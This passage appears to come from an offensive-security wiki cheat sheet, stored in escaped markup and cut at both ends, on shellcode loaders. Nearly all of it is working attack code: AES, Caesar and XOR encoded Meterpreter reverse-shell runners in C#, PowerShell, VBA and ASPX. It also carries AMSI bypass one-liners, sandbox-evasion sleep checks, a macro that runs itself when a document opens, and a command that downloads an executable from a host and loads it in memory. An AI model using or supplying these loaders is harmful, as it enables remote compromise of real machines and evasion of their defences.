sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
